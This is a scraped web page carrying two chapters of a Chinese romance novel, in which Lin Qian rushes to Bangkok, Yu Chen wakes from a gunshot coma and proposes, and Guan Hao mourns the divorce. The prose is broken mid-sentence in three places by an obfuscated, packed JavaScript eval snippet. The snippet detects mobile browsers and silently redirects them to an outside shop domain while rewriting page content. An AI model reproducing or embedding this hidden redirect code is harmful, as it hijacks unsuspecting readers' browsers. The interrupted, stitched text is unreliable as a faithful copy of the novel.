;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162263|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你和关昊,是在交往吗?”林茜问道。“如果是的话,我可以向你解释。如果不是,就没有解释的必要了。” 这句话倒把李莉问住了。她对关昊,从来都是单相思而已。 “至少,我不会让他难过。”李莉不服气道。 这话落在林茜耳朵里,却显得颇为暧昧。那就是相处过了? 林茜解释:“我遇袭那天,也就是前天晚上,出事后先联系了关昊。我不知道他有正在交往的人,只是作为朋友在他那借助几天。” 李莉听林茜的意思,是误以为她和关昊交往了,可是怕折了面子,李莉没反驳,只是回了句:“你跟我说这些干什么?” “我不知道你是不是关昊的女朋友,或许是我想多了,不过把事情说清楚,对大家都好。我和关昊没有复合。后天我就要飞泰国了,回来会找新的住处。”林茜说完,就出去了。 一出来就看到关昊拿着件外套等在门口。 “你怎么在这?”林茜问。 “哦。他家这个洗手间要穿过院子,我寻思着路上冷,你又没穿外套,这感冒刚好,别再着凉了。”说着就把自己那件宽大的夹克披在了林茜身上。 “我不冷。”林茜抻着一只袖子往下拉,却被关昊按住了手,又帮她把衣服披好:“听话,走。”说着一手揽住林茜的肩膀,回包间了。 李莉从门后走了出来,眼神有些哀伤。真正的喜欢,不会让你猜来猜去,而是明晃晃地被所有人看见。 回到包间,林茜也没了胃口。下意识又打开手机,今天还没收到余琛的消息。 还在休息吗?还是恢复训练了? 该不会伤得很重吧?之前真应该打个视频通话的。林茜坐在椅子上胡思乱想,有人叫她都没听到。 “嫂子!” “啊?”林茜吓了一跳:“什么事?” “您什么星座啊?”对面的人问。 “双子座。”林茜答道。 “呦,不亏是关哥的媳妇儿,双子和白羊,绝配!”这人叹道。 “你这都是老黄历了,这年头谁还研究星座啊?现在都爱测什么,MBTI~”小王从女朋友那新学到的,拿出来显摆。 “啥TI?不是IT吗?”对方没听明白。 “要不说你土老帽呢?平常少打游戏多上网,多看看女孩喜欢什么,就不会万年单身狗啦!”小王嘚瑟了起来。 “嘿!我还不信了!小王你什么星座啊?”那人和小王同年进单位,平常都有点谁也不服谁的意思。 “我啊,处女座~”小王说道,处女座什么特点啊,细心、严谨、爱干净,全是优点~ “啧啧,不愧是处女座,毒舌龟毛事还多。你看人家巨蟹座多温柔贴心,就是真说错了人家都不会点出来。” 俩人在桌上打着嘴仗,其他人看个热闹。可林茜听着,忽然觉出了一丝不对劲。 她拿出手机又看了眼昨天和余琛的聊天记录。 终于知道是哪里不对了。 “你记错了,我生日是下个月第二个礼拜六。” 这不是余琛的语气。 余琛根本就不会纠正她。 76. 第 76 章 林茜心中震荡,这几天的担忧都有了对应。 难怪余琛不主动联系她,难怪他只发信息,从不露面。 如果对面的人不是他,那会是…… 阿生? 林茜想起何广生陪余琛一起去了泰国,连忙打给他。可一连打了几个,都无人应答。 关昊注意到林茜的动作:“怎么了?” “余琛可能出事了。”林茜脸上是藏不住的担心。 关昊心中五味杂陈,还是按下性子问道:“你怎么知道的?” “刚刚小王他们聊天提醒了我,阿琛说话的方式不对,昨天和我聊天的人不是他。如果雷劲的目标是余琛,那……那张伪造我的照片一定是用来骗他的,我不敢想会发生什么……”林茜把脸埋在手里,罕见的恐慌。 看着林茜为另一个男人担心,关昊心中酸楚,但还是轻轻地揽住林茜,拍着她的背安慰道:“也许只是你想多了,这几天发生的事太多,你太紧张了。昨天早上他不是还给老姚打了电话吗?” 林茜抬起头,眼中含泪,声音也有些颤抖:“可是何广生失联了。他的电话一直没人接。” 林茜跟着关昊回到公安局,心乱如麻。关昊答应她去和科长反映一下情况,临去前和林茜说道:“你要不要再打个电话确认一下?” 午休还没结束,有的人正在工位上休息。林茜走到户外,拨通了余琛的号码。 铃声响了几下,对面传来一个略微苍老的女声:“你好。” “你好,请问您是?”林茜问道。 “我是余琛的妈妈。你是哪位?”霞姐回应。 “我是阿琛的……女朋友。阿姨,阿琛是不是出事了?”林茜小心地问。 “你是林小姐?阿琛和我提过你。” “是,我是林茜。阿姨,阿琛他还好吗?” 霞姐看着病床上的儿子,记得何广生的嘱托。可林茜既然猜到了,纸又怎么包得住火。霞姐叹了口气:“阿琛中枪了,现在躺在医院里。” “他……伤得严重吗?”林茜问道,声音不受控地开始颤抖。 “幸亏阿生到得及时,命是保住了,可人还没醒过来。”霞姐的眼圈也红了。 霞姐的声音慢慢传来,每一句都是一记暴击:“昨天早上,胸口中枪,医生说情况很危险。好在手术及时。可失血太多,而且前一晚他还打了两场生死拳,根本就没恢复。整个人的精力都耗尽了。” “生死拳……地下拳赛?可阿琛参加的不是泰拳协会组织的表演赛吗?”林茜问道。 “被人算计了,盯了这么多年,他们还是没放过他。”长年累月的担忧把霞姐的心抻成了一根橡皮筋,此刻已经失去弹性,再也生不出什么激烈的情绪。愤怒所剩无几,更多的是对命运深深地无奈。 “是雷劲。雷劲已经被抓了,可泰国那边一定还有帮手。阿姨,你们现在安全吗?”林茜有些担心。 “开枪的人也被抓了,是惯犯,警察一眼就认出他了。可是阿琛……他还没醒过来。”霞姐终于也哭了出来。 两个女人在电话两头各自垂泪。 昌叔出去买饭,回来就看到霞姐正对着电话哭。 问清情况后,昌叔接过了电话,他知道的内容更多更详细。林茜也把自己这边了解的信息告诉了昌叔。 原来雷劲算计余琛还不够,果然还是对余琛身边的人动手了。真是丧心病狂。昌叔在心里唾弃。 “林小姐,你也保重身体。阿琛出事前最放心不下的就是你。”昌叔劝道。 林茜心中酸涩无比,此刻她才意识到,自己不能没有余琛。而余琛为她,实在已经做了太多太多。 红着眼睛回到办公室,关昊走过来问:“怎么样了?” “余琛中枪了,现在还在昏迷。开枪的人已经抓到了,是雷劲在泰国的同伙。”林茜双手撑在膝盖上,整个人看起来要碎了。 关昊蹲下来,握着她的手腕安慰道:“你也别太担心,他不会有事的。” “我要去泰国。”林茜突然说。 “是,后天你就要走了。”这么巧,林茜单位的团建也在泰国。 “不等了,今天就走。反正签证已经办好了,我坐最近的航班过去。” “茜茜,你别冲动。”关昊的眉头皱起来,林茜遇袭后病了一场,到现在才过了一天而已。要是跟着同事去,人多还有个照应,她一个女孩子自己过去,实在让人不放心。 “我已经决定了。”林茜看着关昊,认真说道。 每次她有事,余琛都在她身边。这一次,她想在余琛身边。 回家取走护照,林茜直接去了机场。 关昊请了半天假,开车送她去的。林茜在车上和何婧交代好了工作。之后犹豫了一下,还是没把余琛中枪的事告诉康嫣然。她自己也在困顿之中,就不要再让她担心了。 关昊瞥到林茜的神色,想着要是出事的人是自己,林茜也会这样不顾一切地去找他吗? 她会担心,但做不到这个地步,或许曾经的她会吧。 关昊脸上露出一个苦笑,他终于感受到过往的温情已经像流水般逝去。她心里有了更重要的人。 也是第一次感到,自己是不是该放手了。 关昊目送林茜一直进了安检,她一次都没有回头。 航班在深夜,林茜心神不宁,站在高大的落地窗前,看着飞机一架架起飞。想起上次和余琛离别时,也是在机场。那时候两人初初在一起,心中满是柔情,以为以后的日子都会是这样。 哪曾想不过几天,几乎生离死别。 早上5:50,林茜抵达曼谷素万那普机场。按着昌叔发来的地址直接去了余琛所在的医院。 清晨的医院很安静,只有巡班的护士在走廊里不时走动。林茜找到余琛的病房,竟然有了点近乡情怯的感觉,她深吸一口气,拢了拢头发,轻轻敲了两下门。 开门的是个儒雅的男士,看起来五十上下,看到林茜问:“你就是林小姐吧?” 林茜点点头:“我是林茜,您是昌叔吗?” 昌叔把林茜请了进去,霞姐就坐在余琛的病床边,此刻也起了身。 “阿姨。”林茜过来叫霞姐。 “哎,来了。看看他吧。” 林茜看着病床上的余琛,分开才几天,他的脸颊已经凹了下去,眉角还有划伤没有痊愈。 林茜的眼泪涌了出来。 霞姐看到林茜对余琛的情意,心中感到安慰,总不枉阿琛这么待她。 “你陪他说说话吧。”霞姐拍了拍林茜的肩膀,和昌叔出去了。 林茜走到余琛病床前,扶起他没输液的那只手,慢慢贴在了自己脸上。 他的手依然温热,可人却那么安静,安静地让人害怕。 林茜把脸埋在余琛的手里,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173065|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪顺着他的掌心流了下去。 “对不起,阿琛。”林茜带着哭腔小声说道。 “我该第一时间和你联系的,这样你就不会因为担心我,明知是圈套也要过去。” “你醒过来好不好,我还有好多好多话想和你说。” “我想想每天都能看见你,想和你再去一次东北,吃热气腾腾的大锅菜,去新加坡,吃你爱吃的海南鸡饭。我们每天都一起吃天光,好不好?” 林茜断断续续地说着,支离破碎地说着,边哭边说。 直到她想起余琛在机场对她的告白,她还没有回应。 “我也爱你。”林茜吸了吸鼻子,认真说道。 余琛的手指忽然动了一下。 林茜察觉到了,惊喜地叫道:“阿琛!” 余琛费力地睁开眼睛,看到一张满是泪的脸:“茜茜?” “阿琛,你醒了!” 林茜慌乱地按住床前的按钮,呼叫医护人员。她实在不敢让余琛再出什么事。 余琛看出她的紧张,手里加了点力气,握住林茜的另一只手,慢慢地说:“我没事。” “真的吗?你感觉怎么样?”林茜小心地问。 “有点累,做了一个很长地梦,但结尾很好。” “是什么梦,等你好一点了,慢慢讲给我听好不好?” “我梦到结尾,你说爱我。”余琛看着林茜的眼睛,温柔说道。 林茜反握住余琛的手,眼里也蒙上一层水光:“那不是梦。阿琛,我真的爱你。” 四目相对,胜过千言万语。 余琛的身体恢复很快,一对恋人历经波折终于在一起,终日形影不离,看得昌叔都有些眼酸。 一日,昌叔趁四下无人,在走廊里对霞姐说道:“我听说这里有个庙,求神很灵的,改天我们也去看看吧。” 霞姐最大的心愿已了,只要儿子平安无事,其他别无所求,好奇地问:“你有什么要求的事?” “求老婆有时间的时候多看我两眼嘛。”昌叔委屈巴巴,他比霞姐小几岁,对外是雷厉风行的高级督察,在霞姐面前却是撒娇的一把好手。 霞姐笑着锤了他一下:“都一把年纪的人了,羞不羞。” “羞怕什么?天大地大,老婆最大。有金有银,不如有老婆疼。”昌叔嘴上抹蜜,惯会说甜言蜜语的。 霞姐却听他越说越没正形,要去看儿子。 正巧余琛从病房出来了,林茜扶着他在走廊里慢慢踱步,两个人依偎得很紧。 “看吧,年轻人也要有自己的空间。”昌叔朝余琛的方向努努嘴。 罢了,就陪鹤年去上柱香,为他和阿琛求个平安也好。对了,再加上林小姐。 霞姐和昌叔去过二人世界了。余琛没看到她们,他正和林茜聊天。 “我昏迷的时候好像听到,你想去东北,还是新加坡?” “我想去的地方可多了呢!”林茜扶着余琛,下巴一抬,颇为傲娇。 “洗耳恭听。”余琛温柔地说。 “我要去东北吃铁锅炖大鹅,去新加坡吃海南鸡饭,去顺德吃鱼生,去广州吃脆皮叉烧,还要去日本吃寿司,去法国吃鹅肝。最重要的是,每一样都得有你在身边。”林茜看着他,认真说道。 余琛宠溺地笑笑,给出了此生最重要的承诺:“好,我陪着你,吃一辈子饭。” 【正文完】 77. 番外1 12月29日下午,余琛获得医生批准,可以出院几小时。 他和林茜一起去接阿生。 何广生因为袭警被拘留15天,在里面没受什么罪,只是惦记余琛的伤。虽然有昌叔报平安,还是忍不住担心,人看起来也有些憔悴了。 出来后看到老大居然气色还可以,林小姐也安然无恙,阿生的一颗心才彻底放下来,露出一个大大的笑容。 拘留结束后何广生就要被驱逐出境,在7天内执行。余琛的伤至少还要四五天才能出院,一家人商量过后,决定就在曼谷过新年。 昌叔和霞姐为照顾余琛,在医院附近租了房子。31号下午,余琛又和医生提出了申请,医生无奈地看着他:“好吧,家庭和睦是有利于身体康复的。” 阿生也早早到了昌叔租的房子里,跟着忙前忙后,又出门去买水果。他的母亲很早就过世了,父亲又再娶,每次回家反倒像客人,遇到余琛后就以拳馆为家。余琛也早把他当成了自己的亲兄弟。 林茜想下厨帮忙,被霞姐按住了:“你看住阿琛就好,他从小就是个闲不下来的性子,医生嘱咐要多休息。他现在最听你的话,你一定要看住他。” 林茜被说得有点不好意思,又陪着余琛坐了下来。 今天对余琛来说,真是难得的闲暇时光,此刻他的嘴角透出一点淡淡的笑意。 其实阿妈说的没错,要不是身体有伤,本该他下厨的。可此刻看着母亲和昌叔一起在厨房忙活,阿生出去采购,林茜就在自己身边,好似另有一番圆满。 “元旦不回家,要不要和伯父伯母说一声?”余琛问道。 林茜也正有此意。以往不管元旦还是春节,都是去关昊家过的。今年离婚了,原本是想陪自己的爸妈,没想到出了这么多事,现在人在泰国,只能电话里拜年了。 尤其是,元旦过后几天,是林妈去复查的日子。 林茜没敢提自己遇袭和余琛中枪的事,只说律所团建来了泰国,要元旦后才回去。 老两口也没多想,女儿离婚了,出去散散心也好。林妈还安慰女儿,说身体没啥事,复查有林爸陪着就行了,让她不用惦记。 林茜放下电话,忽然就有点想家。 余琛在旁边听着,在背后轻轻抱住她:“回去之后,我们一起陪阿姨去医院。以后不管过年过节,你想在哪里都可以。去父母家,或者接她们过来都好。” 林茜有点意外,下意识看了眼厨房,又转过身看着余琛:“那霞姨呢?” “她们也可以过来,大家在一起过年更热闹。不过我想,昌叔也有自己的亲戚要聚,老妈应该会和他一起。” 林茜了然地点点头。确实,霞姐她们也有自己的家庭。 又后知后觉地意识到余琛在和她探讨婚后生活,耳根就有点发烧,口不对心地说:“医生让你多休息,你在这瞎操心。” 余琛看出她不好意思,偏偏又爱她这逞强的模样,捏了捏她的脸:“昌叔教我的,要凡事多替老婆着想,老婆开心,才会全家开心。” 林茜轻轻拍掉他的手:“谁要当你老婆?”又煞有介事地摸了摸他的额头:“要不医生不愿意你出院呢?青天白日的在这发瘟?” 余琛顺势握住林茜的手,不知从哪变出一枚戒指:“呐,现在呢,我正式向林小姐求证,愿不愿意做我的妻子呢?”余琛说着,变得认真起来。 林茜红着脸听着,望着余琛的眼睛,忽然有点迟疑了。 她想起了医生的话:“你怀孕可能会比较困难。” 余琛观察着林茜的神情,温和问道:“怎么了?” 林茜轻轻挣开了余琛的怀抱,吸了一口气,坦诚说道:“我之前,不是做了一个卵巢的手术么?医生说,我怀孕可能会有困难。而且,我也不确定我想不想要小孩,也许这辈子我都不会生小孩。” 原来是这件事。余琛舒了一口气:“有没有小孩都不重要,最重要的是你。” 林茜看着他的眼睛:“那你会遗憾吗?” 余琛想起自己这些年的遭遇,慢慢说道:“人生在世,本来就是苦乐参半的。把一个小生命带到世上,谁也不知道究竟是福还是祸。既然这样,不如就顺其自然。对我来说,最重要的始终是你。不确定想不想要小孩,那就就慢慢想,直到能确定的那一天。只要不会对你的身体有太多损伤,你的决定我都支持。” 林茜心里暖融融的,有一种被全然接纳的感觉。 余琛小心地问:“还有其他的顾虑吗?” 林茜摇摇头。 “那,”余琛试探着把戒指套在了无名指的指腹上:“你只有这一次反悔的机会哦。因为你答应了我,这辈子无论如何我都不会离开你了。” 林茜低下头,小声地发出一个音:“嗯。” 余琛得到了应允,郑重其事地把戒指套到最下面,然后抱住了林茜:“谢谢你,余太。” 霞姐在门缝里看得眼眶湿润,昌叔悄悄地牵着她的手往客厅走。 刚一转身发现,何广生拎着两大袋水果也在这尖着耳朵听着呢。 仨人吓了一跳,堪堪忍住没出声,悄无声息地回到客厅里,不约而同都舒了一口气。 何广生喜形于色:“老大终于得偿所愿啦!”他是真心实意为余琛高兴。 昌叔也对霞姐说道:“恭喜呀,家里又进新人了。” 霞姐心里则又高兴又失落。阿琛定居在北京,以后能见他的机会就更少了。可是他身边有了喜欢的人陪伴,总归还是为儿子开心更多。 关昊这边,就显得冷清多了。 林茜去泰国,带走了他最后的幻想。 她最后留在家里的两个晚上,好似幻梦一场。关昊无比坚定又满怀希冀地以为,他和林茜还有一辈子要过,原来只有两天。 原来老天,只给了他两天美梦。 简直像回光返照。 结束之后,就是他和林茜的终局。 这些天关昊愈发沉默。那天午饭时,林茜为余琛担心落泪的样子被不少同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187963|148205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事看到。如果是以前,他会难堪,会愤怒。如今这些情绪都很轻了,只有大片大片浓重的悲伤。 元旦前,他把离婚的事和爸妈说了。关爸关妈十分震惊。关昊把责任都揽到了自己身上,说是工作太忙,林茜生病时也没陪着她,让她寒了心。两个人和平分手。 关爸关妈却另有猜测,猜的最多的还是为钱。难道让儿媳出钱触到了她的底线?关昊看出爸妈的怀疑,也不多解释,又说了另一件事吸走了她们的注意力。 “我要出去挂职了。去内蒙,帮扶城市的兄弟单位,去一年。元旦过后就走,明年一月回来。” “啊?去那么远的地方啊?那不是一年都见不着你了?”关妈第一反应是离儿子太远了。 关爸此时却表现出一种大局观:“欸~出去历练是好事,这是培养干部呢,回来就能提拔了!地方上是艰苦点,你年轻,吃点苦是好事!” “嗯。”关昊应着。他不是为了什么提拔,只是想离开一段时间。这里处处都有林茜的痕迹,太痛了。 他需要时间,需要空间,来稀释痛苦。 元旦那天,本该是团团圆圆的日子,关昊没回家。亮亮回来了,父母看到孙子,应该能暂时忘记他这个不孝的儿子吧。 就让大哥一家陪着父母共享天伦吧,他一个人在单位值班,消化痛苦。 没想到值班也不清净。 各科室都留了人。单位关心值班的员工,还搞了个小型的元旦联欢。说是联欢,就是各科室值班的人聚在一起说说笑笑,单位出了点经费,由后勤准备了瓜子零食,另外管两顿饭。 也没什么节目,大家伙把平常办的奇葩案件拿出来说说,一天就这么打发过去了。晚上大家伙又一起吃了饭,值班不能喝酒,依旧是插科打诨,各自茶足饭饱后,回各自的值班室了。 好家伙,这一天比平常上班还热闹呢! 都没工夫伤心了。 好不容易回到值班室,以为能独处一会了。 李莉又来了。 “大过年的你不在家,跑这来干什么?”关昊看见李莉问。 李莉走了一段时间的知性风,如今又换回了以前的装扮。学生气就学生气吧,这才是真正的她。 她想清楚了,与其患得患失地揣测关昊的心思,不如就大大方方表白,不就是被拒吗。反正伸头一刀,缩头也是一刀,至少能痛快点。 “关队,我有话对您说。”李莉声音爽脆,落落大方。 以至于关昊以为她又来请教什么案子上的问题,心想年轻人也太拼了。 “说吧,什么事?”关昊回道。 “咱能出去说吗?”李莉问。她怕万一中途来个串门的同事,就太尴尬了。 关昊莫名其妙,什么问题要出去说啊?这大冷天的。又看小姑娘一脸严肃,得,走吧。 走到一处空旷的院子,李莉看了看四下无人,正巧远处的烟花绽放,照亮了两个人的脸。 李莉认真说道:“关队,我喜欢你。”